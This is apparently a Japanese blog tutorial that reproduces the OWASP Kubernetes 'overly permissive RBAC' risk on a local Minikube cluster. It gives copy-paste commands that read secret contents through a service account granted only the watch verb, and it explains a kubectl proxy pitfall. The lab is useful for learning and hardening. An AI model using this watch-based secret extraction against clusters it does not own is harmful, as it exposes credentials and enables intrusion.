はじめに
Kubenetesを触り始めて一週間、セキュリティ的に考慮しなきゃなところって何あるかなって探してたら、OWASP Kubernetes Top 10なるものを発見。その中のK03: Overly Permissive RBACを試してたら意外なところでつまづいたりして、同じ思いしてほしくないので公開しました。
Kubenetesにおいてロールベースのアクセス制御(RBAC)は、誰がどのリソースやアクションにアクセスできるかを制御するために不可欠。意図せずユーザーやサービスアカウントに不要な WATCH
権限を与えられていると悪用できちゃうよってハナシ。
このチュートリアルでは、Minikube クラスタをセットアップして、実際にミスったRBAC設定で、コマンドコピペで動作するところまで書きました。
目次
- 前提条件
- Minikube のセットアップ
- セキュリティ問題の理解
- WATCH 権限を持つサービスアカウントの作成
- 不正なアクセスの実演
- 一般的な問題のトラブルシューティング
- リスクの軽減
- クリーンアップ
- 結論
環境と準備
- MacOS 14.5(23F79)
- Docker のインストール(Minikube で Docker ドライバーを使用する場合)
- kubectl のインストール:kubectl のインストール方法
- Minikube のインストール:Minikube のインストール方法
Minikube のセットアップ
まず、Minikube を使用してローカル Kubernetes クラスタをセットアップ。
ステップ 1: Minikube を起動
Docker ドライバーを使用して Minikube を起動。今回はDocker使ったけど、何でも良いと思う。なんのドライバも設定しないと、Qemuが使われてエラー出た。
minikube start --driver=docker
ステップ 2: Minikube のステータスを確認
Minikube が正常に稼働していることを確認:
minikube status
今回のミソ
Kubernetes では、WATCH
権限によりユーザーはリソースの変更を監視できる。リソースが変更されると、WATCH
権限によりリソース全体のオブジェクトが見られるようになる。
WATCH 権限を持つサービスアカウントの作成
default
ネームスペース内で、 WATCH
権限のみを持つサービスアカウントを作成する。
ステップ 1: サービスアカウントを作成
kubectl create serviceaccount only-watch-secrets-sa -n default
ステップ 2: WATCH 権限を持つ Role を作成
only-watch-secrets-role.yaml
というファイルを作成し、以下の内容を記述:
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: default
name: only-watch-secrets-role
rules:
- apiGroups: [""]
resources: ["secrets"]
verbs: ["watch"]
Role を適用:
kubectl apply -f only-watch-secrets-role.yaml
ステップ 3: Role をサービスアカウントにバインド
only-watch-secrets-rolebinding.yaml
というファイルを作成し、以下の内容を記述:
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
namespace: default
name: only-watch-secrets-binding
subjects:
- kind: ServiceAccount
name: only-watch-secrets-sa
namespace: default
roleRef:
kind: Role
name: only-watch-secrets-role
apiGroup: rbac.authorization.k8s.io
RoleBinding を適用:
kubectl apply -f only-watch-secrets-rolebinding.yaml
不正なアクセスの実演
このサービスアカウントを使用してシークレットの変更を監視し、機密データがどのように露出するかを確認する。
ステップ 1: サービスアカウントのトークンを取得
Kubernetes v1.24 以降の場合:
TOKEN=$(kubectl -n default create token only-watch-secrets-sa)
Kubernetes v1.24 未満の場合:
SECRET_NAME=$(kubectl -n default get sa only-watch-secrets-sa -o jsonpath='{.secrets[0].name}')
TOKEN=$(kubectl -n default get secret "$SECRET_NAME" -o jsonpath='{.data.token}' | base64 --decode)
トークンが空でないことを確認する:
echo $TOKEN
ステップ 2: API サーバーのアドレスを取得
APISERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
ステップ 3: シークレットの GET を試みる(失敗するはず)
サービスアカウントのトークンを使用してシークレットを取得:
curl -k -X GET "$APISERVER/api/v1/namespaces/default/secrets/my-secret" \
-H "Authorization: Bearer $TOKEN"
期待される出力:
{
"kind": "Status",
"apiVersion": "v1",
"status": "Failure",
"message": "secrets \"my-secret\" is forbidden: User \"system:serviceaccount:default:only-watch-secrets-sa\" cannot get resource \"secrets\" in API group \"\" in the namespace \"default\"",
"reason": "Forbidden",
"code": 403
}
ステップ 4: シークレットの監視を開始
kubectl proxy による予期せぬ挙動
当初、kubectl proxy
を使用して以下のコマンドを実行:
kubectl proxy &
その後、curl
コマンドでシークレットにアクセス:
curl http://127.0.0.1:8001/api/v1/namespaces/default/secrets/my-secret \
-H "Authorization: Bearer $TOKEN"
ここでつまずいた!シークレットの内容が表示された。
問題点:
-
kubectl proxy
を使用すると、リクエストはプロキシを起動したユーザーの権限で処理される(らしい)。 -
Authorization
ヘッダーは無視される
問題の解決と正しいアプローチ
kubectl proxy
を使用せず、API サーバーに直接リクエストを送信する。クエリパラメータをwatch=trueにしてる。
curl -k -X GET "$APISERVER/api/v1/namespaces/default/secrets?watch=true" \
-H "Authorization: Bearer $TOKEN"
ステップ 5: 別のターミナルで新しいシークレットを作成
新しいターミナルを開き、シークレットを作成する:
kubectl create secret generic my-secret --from-literal=secretPassword=verySecure
ステップ 6: 出力を確認
curl
コマンドを実行しているターミナルで以下のような出力が表示される:
{
"type": "ADDED",
"object": {
"kind": "Secret",
"apiVersion": "v1",
"metadata": {
"name": "my-secret",
"namespace": "default",
...
},
"data": {
"secretPassword": "dmVyeVNlY3VyZQ=="
},
"type": "Opaque"
}
}
ステップ 8: シークレットデータをデコード
Base64 エンコードされたシークレットをデコードする:
echo 'dmVyeVNlY3VyZQ==' | base64 --decode
出力:
verySecure
説明:GET
や LIST
権限がなくても、WATCH
権限によりサービスアカウントがシークレットデータにアクセスできた!!
クリーンアップ
このチュートリアルで作成したリソースを削除する。
# 監視コマンドを停止(実行中の場合)
# curl の監視コマンドを実行しているターミナルで Ctrl+C を押します
# シークレットを削除
kubectl delete secret my-secret
# RoleBinding を削除
kubectl delete rolebinding only-watch-secrets-binding -n default
# Role を削除
kubectl delete role only-watch-secrets-role -n default
# サービスアカウントを削除
kubectl delete serviceaccount only-watch-secrets-sa -n default
# 必要に応じて、Minikube を停止
minikube stop
結論
WATCH
権限の扱いには気をつけることが一番重要って結論付けたかったけど、kubectl proxy
の挙動が一番勉強になった。
レッツKubernetes!!!!!!!